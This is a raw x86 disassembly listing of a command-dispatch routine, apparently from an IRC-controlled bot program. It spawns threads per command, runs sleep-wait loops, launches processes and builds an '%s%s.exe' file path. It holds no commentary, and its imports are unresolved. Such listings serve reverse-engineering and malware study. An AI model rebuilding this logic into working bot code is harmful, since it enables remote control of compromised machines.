		push	dword_44376C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_443560[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_443778
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4D0864
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FD78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FE6C
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FD3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FCF8
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FCCC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FC8C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42FC50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_42FC18
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42FBE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_42FBB0
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42FB80
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FB48
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42FB18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset dword_42FADC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FAB0
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FA78
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42FA40
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26A0B6Bh
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42FA1C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42FA10
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42F9E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42F9A4

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2660C2Fh
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42F980
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_42F964
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26A0000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F92C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset dword_42F8F0
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_42F8A8

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42F898
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2680000h

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_42F884
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42F898
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42F86C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_42F838

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42F804
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_408839
; ---------------------------------------------------------------------------

